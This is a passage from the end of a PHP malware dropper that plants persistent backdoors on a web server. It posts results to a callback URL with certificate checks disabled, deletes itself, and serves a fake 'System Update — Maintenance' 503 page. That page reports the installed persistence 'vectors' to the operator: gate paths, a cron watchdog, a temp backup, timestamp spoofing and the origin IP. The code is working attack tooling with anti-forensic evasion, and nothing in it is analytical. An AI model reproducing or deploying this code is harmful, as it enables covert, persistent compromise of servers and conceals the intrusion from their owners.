        'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$_cb,'timeout'=>5,'ignore_errors'=>true),
        'ssl' =>array('verify_peer'=>false,'verify_peer_name'=>false),
    ));
    @file_get_contents($_CALLBACK_URL, false, $_cb_ctx);
}

// ── Self-delete + respond ─────────────────────────────────────────────────────
@unlink(__FILE__);
$_ok = !empty($_gate_paths);
$_vc = count($_vectors);
$_ec = count($_errors);
http_response_code(503);
header('Content-Type: text/html; charset=utf-8');
header('Retry-After: 3600');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>System Update — Maintenance</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0f172a;color:#cbd5e1;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',sans-serif;min-height:100vh;display:flex;align-items:center;justify-content:center;flex-direction:column}
.card{text-align:center;padding:48px 36px 32px;max-width:560px;width:90%}
.status{font-size:42px;margin-bottom:16px}
h1{font-size:24px;font-weight:700;color:#f1f5f9;margin-bottom:8px}
.sub{color:#94a3b8;font-size:14px;margin-bottom:28px}
.panel{background:rgba(30,41,59,.7);border:1px solid rgba(99,102,241,.2);border-radius:12px;padding:20px 24px;text-align:left;margin-bottom:16px}
.panel h3{font-size:13px;text-transform:uppercase;letter-spacing:1px;color:#6366f1;margin-bottom:12px}
.row{display:flex;justify-content:space-between;align-items:center;padding:6px 0;border-bottom:1px solid rgba(100,116,139,.15)}
.row:last-child{border:none}
.lbl{color:#94a3b8;font-size:13px}
.val{font-size:13px;font-family:'Courier New',monospace}
.ok{color:#22c55e}.fail{color:#ef4444}.warn{color:#f59e0b}
.tag{display:inline-block;padding:2px 8px;border-radius:4px;font-size:11px;margin:2px;background:rgba(34,197,94,.12);color:#22c55e;border:1px solid rgba(34,197,94,.25)}
.tag.err{background:rgba(239,68,68,.12);color:#ef4444;border-color:rgba(239,68,68,.25)}
.footer{margin-top:20px;color:#475569;font-size:11px}
</style>
</head>
<body>
<div class="card">
  <div class="status"><?= $_ok ? '&#9989;' : '&#10060;' ?></div>
  <h1><?= $_ok ? 'Deployment Successful' : 'Deployment Failed' ?></h1>
  <p class="sub">PHP <?= PHP_VERSION ?> &middot; <?= php_uname('s') ?> &middot; <?= isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown' ?></p>

  <div class="panel">
    <h3>Vectors (<?= $_vc ?>)</h3>
    <?php foreach ($_vectors as $_v): ?>
    <div class="row"><span class="lbl"><?= htmlspecialchars($_v) ?></span><span class="val ok">&#10003; installed</span></div>
    <?php endforeach; ?>
    <?php if (empty($_vectors)): ?>
    <div class="row"><span class="lbl">none</span><span class="val fail">&#10007;</span></div>
    <?php endif; ?>
  </div>

  <div class="panel">
    <h3>Gate Paths</h3>
    <?php foreach ($_gate_paths as $_gp): ?>
    <div class="row"><span class="val" style="color:#a5b4fc"><?= htmlspecialchars($_gp) ?></span></div>
    <?php endforeach; ?>
    <?php if (empty($_gate_paths)): ?>
    <div class="row"><span class="val fail">No gate paths — seed write failed</span></div>
    <?php endif; ?>
  </div>

  <?php if (!empty($_errors)): ?>
  <div class="panel">
    <h3>Errors</h3>
    <?php foreach ($_errors as $_e): ?>
    <div class="row"><span class="val fail"><?= htmlspecialchars($_e) ?></span></div>
    <?php endforeach; ?>
  </div>
  <?php endif; ?>

  <div class="panel">
    <h3>Environment</h3>
    <div class="row"><span class="lbl">Seed Location</span><span class="val"><?= !$_pdir_is_root ? '<span class="ok">subdir</span>' : '<span class="warn">root</span>' ?></span></div>
    <div class="row"><span class="lbl">Timespoof</span><span class="val <?= in_array('seed_file',$_vectors) ? 'ok' : 'fail' ?>"><?= in_array('seed_file',$_vectors) ? '&#10003; applied' : '&#10007;' ?></span></div>
    <div class="row"><span class="lbl">Watchdog Cron</span><span class="val <?= in_array('cron_watchdog',$_vectors) ? 'ok' : 'warn' ?>"><?= in_array('cron_watchdog',$_vectors) ? '&#10003; active' : 'unavailable' ?></span></div>
    <div class="row"><span class="lbl">Backup</span><span class="val <?= in_array('tmp_backup',$_vectors) ? 'ok' : 'fail' ?>"><?= in_array('tmp_backup',$_vectors) ? '&#10003; saved' : '&#10007;' ?></span></div>
    <div class="row"><span class="lbl">Origin IP</span><span class="val"><?= htmlspecialchars($_origin_ip ?: 'unknown') ?></span></div>
  </div>

  <div class="footer">deployer self-destructed &middot; this page will not appear again</div>
</div>
</body>
</html>